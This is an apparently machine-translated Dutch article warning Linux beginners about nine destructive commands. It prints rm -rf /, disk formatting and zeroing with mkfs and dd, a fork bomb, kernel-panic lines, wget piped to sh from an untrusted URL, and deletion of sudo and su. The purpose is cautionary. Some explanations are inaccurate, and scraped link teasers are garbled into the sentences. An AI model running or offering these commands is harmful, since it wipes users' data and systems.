9 Lethal Linux-commando's die je nooit zou moeten uitvoeren

Je moet nooit een Linux-commando uitvoeren tenzij je precies weet wat het doet. Hier zijn enkele van de meest dodelijke Linux-commando's die je voor het grootste deel wilt vermijden.

Je moet nooit een Linux-commando uitvoeren tenzij je precies weet wat het doet.  Hier zijn enkele van de meest dodelijke Linux-commando's die je voor het grootste deel wilt vermijden.
Advertentie

Linux kan een tweesnijdend zwaard zijn. Het gaat ervan uit dat je weet wat je doet en geeft je de vrijheid om te doen wat je wilt. Het zal je niet in twijfel trekken. Dit is handig als u echt weet wat u doet, maar het betekent ook dat u uw systeem mogelijk binnen enkele seconden onbruikbaar kunt maken.

Nieuw bij de Linux-opdrachtregel? Geen zorgen. Aan de slag met onze Linux-snelstartgids Een snelle handleiding Aan de slag met de Linux-opdrachtregel Een beknopte handleiding Aan de slag met de Linux-opdrachtregel Met Linux kunt u heel veel geweldige dingen doen en het is echt niet moeilijk om te leren. Lees meer samen met deze 40 essentiële Linux-commando's Een AZ van Linux - 40 essentiële opdrachten die u moet kennen Een AZ van Linux - 40 essentiële opdrachten die u moet weten Linux is het vaak genegeerde derde wiel naar Windows en Mac. Ja, in de afgelopen tien jaar heeft het open-source besturingssysteem veel grip gekregen, maar het is nog steeds ver verwijderd van het feit dat het wordt beschouwd als ... Lees meer. Met deze twee bronnen maakt u in een mum van tijd kennis met de opdrachtregel.

Maar of je nu een Linux-newbie of een oude veteraan bent, je mag nooit een opdracht uitvoeren tenzij je precies weet wat het doet. Hier zijn enkele van de meest dodelijke Linux-commando's die je voor het grootste deel wilt vermijden.

Recursief verwijderen

De Linux-mogelijkheid om alles wat je wilt te verwijderen zonder vragen te stellen, is een uitkomst, vooral na jarenlang "Dat bestand kan niet worden verwijderd" in Windows. Maar internettrollen zullen je snel bedriegen, en je met extreem gevaarlijke verwijderingscommando's presenteren die hele harde schijven kunnen wissen.

rm -rf / 

Deze regel voert het verwijdercommando rm uit met twee toggles: -r die recursieve verwijdering door alle subdirectories forceert en -f die verwijdering van alleen-lezen bestanden forceert zonder bevestiging. De opdracht wordt uitgevoerd in de map / root, waardoor je hele systeem schoon wordt gewist.

Let op, deze dagen op de meeste Linux-systemen zou je een waarschuwing krijgen als je dit zou proberen. Maar de waarschuwing is niet gegarandeerd, dus doe het gewoon niet.

Formatteer harde schijf

De terminal is vooral lastig voor Linux-beginners omdat het verschillende manieren biedt om per ongeluk iemands harde schijf te wissen. Recursieve verwijdering is een grote, maar hier is er nog een:

 mkfs.ext3 /dev/hda 

Met deze opdracht wordt de harde schijf geformatteerd om het ext3-bestandssysteem te gebruiken. Formatteren van schijfstations Hoe kan ik uw FAT32-schijf opnieuw formatteren naar NTFS - en de voordelen van het doen Hoe uw FAT32-schijf opnieuw formatteren naar NTFS - en de voordelen van het doen U weet het misschien niet, maar het kiezen van het juiste bestandssysteem voor uw schijven is eigenlijk behoorlijk belangrijk. Hoewel het hoofdidee van alle bestandssystemen hetzelfde is, zijn er vele voordelen en nadelen ten opzichte van elk ... Meer lezen is geen inherente kwaadaardige actie, maar het "reset" de schijf zodanig dat deze "zo goed als nieuw" is. Met andere woorden, een geformatteerde harde schijf is als een lege lei.

Formatteren is handig voor schijfpartities en externe schijven, maar het uitvoeren ervan op een hele harde schijf (zoals / dev / hda ) is gevaarlijk en kan uw systeem in een niet-herstelbare staat achterlaten.

Harde schijf overschrijven

Alsof het niet erg genoeg was om de schijf per ongeluk te formatteren, is het mogelijk om uw harde schijf te overschrijven met onbewerkte gegevens. Op zijn minst is het formatteren van schijven een echte procedure met gebruik in de praktijk; het overschrijven van iemands rit, aan de andere kant, is niet zo geweldig.

 command >/dev/hda 

In de bovenstaande opdracht kan het commando worden vervangen door een Bash-opdracht. De operator > leidt de uitvoer van de linkeropdracht om naar het bestand aan de rechterkant. In dit geval maakt het niet uit wat de uitvoer van de linkercommando is. Die onbewerkte gegevens worden omgeleid en gebruikt om de systeemharde schijf te overschrijven.

Zoals je je kunt voorstellen, maakt dit het nutteloos.

Veeg de harde schijf af

Dit is een andere manier om je systeem te ruïneren. Deze keer zal de opdracht je harde schijf volledig op nul zetten. Geen gegevenscorrupties of overschrijvingen; het zal je harde schijf letterlijk vullen met nullen. Een harde schijf wordt niet meer gewist dan dat.

 dd if=/dev/zero of=/dev/hda 

De opdracht dd is een instructie op laag niveau die meestal wordt gebruikt om gegevens naar fysieke stations te schrijven. De parameter if bepaalt de bron van gegevens, in dit geval / dev / zero, een special op Linux die een oneindige stroom nullen produceert. De parameter van bepaalt de bestemming van die nullen, wat de / dev / hda- schijfeenheid is.

Ja, er zijn legitieme redenen voor het op nul stellen van een schijf, maar als u niet weet wat deze redenen zijn, wilt u deze opdracht vermijden.

Implodeer de harde schijf

Als je het beu bent om manieren te horen om je harde schijf kapot te maken, wacht dan even. Hier is er nog een voor jou. Onder Linux is er een speciaal bestand met de naam / dev / null dat alle gegevens die erop worden geschreven zal verwijderen. Je kunt het zien als een zwart gat of een bestandsvernietiger: alles wat eraan wordt gegeven als input zal voorgoed worden opgegeten.

 mv / /dev/null 

Zie je het gevaar hier? De mv- opdracht probeert de hoofdmap van het systeem naar het zwarte gat van / dev / null te verplaatsen. Dit is een geldig commando en het resultaat is verwoestend: de harde schijf wordt opgegeten en er is niets meer over. Als u dit doet, wordt uw systeem onbruikbaar.

Veroorzaken Kernel Panic

Windows heeft zijn beruchte Blue Screen of Death Windows 8 Crashing? Gemakkelijk probleemoplossend Blue Screen en andere problemen Windows 8 crasht? Eenvoudig Blue Screen oplossen & andere problemen Windows 8 is niet perfect. Dat gezegd hebbende, de meeste blauwe schermen en programma-crashes zijn geen Windows-fout. Onze tips helpen u om precies te identificeren wat er mis is met uw pc en om het probleem op te lossen. Lees verder . En ondanks de mythes die rondzwerven, is Linux geen perfect beveiligd systeem. 4 Cyber ​​Security Mythen That Must Die 4 Cyber ​​Security Myths That Must Die Read More. Soms treedt er een interne fout op waarvan herstel niet mogelijk is, dus zal het systeem iets soortgelijks als het blauwe scherm uitvoeren: een kernelpanic .

 dd if=/dev/random of=/dev/port echo 1>/proc/sys/kernel/panic cat /dev/port cat /dev/zero>/dev/mem 

De fijne kneepjes van de bovenstaande commando's zijn hier niet belangrijk. Wat belangrijk is, is dat het uitvoeren van een van die regels resulteert in een kernel paniek, waardoor je wordt gedwongen om je systeem opnieuw op te starten. Het is het beste om weg te blijven van deze commando's, tenzij je absoluut zeker weet dat je weet wat je doet.

Fork Bomb

Bash is de taal van de Linux-terminal Is Linux verwarrend? Hier zijn de belangrijkste termen die u moet weten Is Linux verwarrend? Hier zijn de belangrijkste begrippen die u moet kennen Tegenwoordig worden Ubuntu en andere moderne Linux-distributies gewoonlijk probleemloos geïnstalleerd (en zonder dat er enige kennis voor nodig is), maar terwijl u ermee doorgaat, zult u onvermijdelijk allerlei terminologie tegenkomen. .. Lees meer en het is krachtig. Niet alleen kan het opdrachten uitvoeren, maar het kan ook functies uitvoeren, waardoor het gemakkelijk is om scripts te schrijven die systeemtaken kunnen automatiseren. Helaas komen functies niet zonder hun eigen risico's.

 :(){:|:&};: 

Dit obscure commando wordt een vorkbom genoemd, wat een speciaal type kernel paniek is. Het definieert een functie met de naam : die recursief zichzelf tweemaal oproept wanneer deze wordt uitgevoerd. Een van de recursieve oproepen gebeurt op de voorgrond, terwijl de andere op de achtergrond gebeurt.

Met andere woorden, wanneer deze functie wordt uitgevoerd, worden twee onderliggende processen uitgelokt. Die kindprocessen brengen hun eigen kindprocessen voort en deze cyclus blijft in een oneindige lus doorgaan. De enige uitweg is om het systeem opnieuw op te starten.

Voer Remote Script uit

Hier is een onschuldig bevel dat eigenlijk nuttig kan zijn in het dagelijks leven op een Linux-systeem. wget haalt de inhoud van een web-URL op, die kan worden gebruikt om websites te openen of bestanden te downloaden. Er is echter een simpele truc die het gevaarlijk maakt:

 wget http://an-untrusted-url -O- | sh 

De bovenstaande combinatie downloadt de inhoud van de gegeven URL en voert deze onmiddellijk door naar de opdracht sh, die de gedownloade inhoud in de terminal uitvoert. Als de URL zou verwijzen naar een kwaadaardig script, zou je je eigen lot verzegelen met dit commando.

Schakel rootcommandorechten uit

Dit laatste commando is duidelijk. Het gebruikt de veelgebruikte rm- opdracht om twee van de belangrijkste commando's op Linux uit te schakelen: sudo en su . Om een ​​lang verhaal kort te maken, deze twee stellen je in staat andere commando's uit te voeren met root-rechten. Zonder hen zou het leven op Linux miserabel zijn.

 rm -f /usr/bin/sudo;rm -f /bin/su 

Dat is waarom je deze opdracht niet moet uitvoeren. Het dwingt verwijdert beide opdrachten van uw systeem zonder enige bevestiging, waardoor u in de problemen komt. Er zijn manieren om te herstellen wat je hebt verwijderd De beste manieren om gegevens over Linux terug te vinden De beste manieren om gegevens op Linux te herstellen Ongeacht of het jouw fout was of niet, er kunnen dingen gebeuren met de gegevens die op je apparaten zijn opgeslagen. Harde schijven, solid-state schijven en verwijderbare media kunnen allemaal bestanden "verliezen" vanwege talloze ... Lees meer, maar het is niet altijd eenvoudig en het zal ook niet prettig zijn.

Wees alstublieft voorzichtig! Wees niet bang om te spelen met Linux Overweeg Linux? 10 veelgestelde vragen beantwoord Overweegt u Linux? 10 Veelgestelde vragen beantwoord Hier zijn de meestgestelde vragen die Windows-gebruikers over Linux hebben. Nadat je deze lijst met vragen en antwoorden hebt doorgenomen, zou je veel zelfverzekerder moeten zijn met het uitproberen van Linux. Read More en de commandoregelterminal, maar tegelijkertijd, doe je onderzoek en voer nooit iets uit tenzij je absoluut zeker weet wat het doet. Als iemand je zegt "probeer deze opdracht", controleer hem dan altijd dubbel en driemaal.

Heb je ooit een destructief commando uitgevoerd? Wat is er gebeurd? Heeft iemand je erin gesmeten? Deel uw mening en ervaringen met ons in de comments!

In this article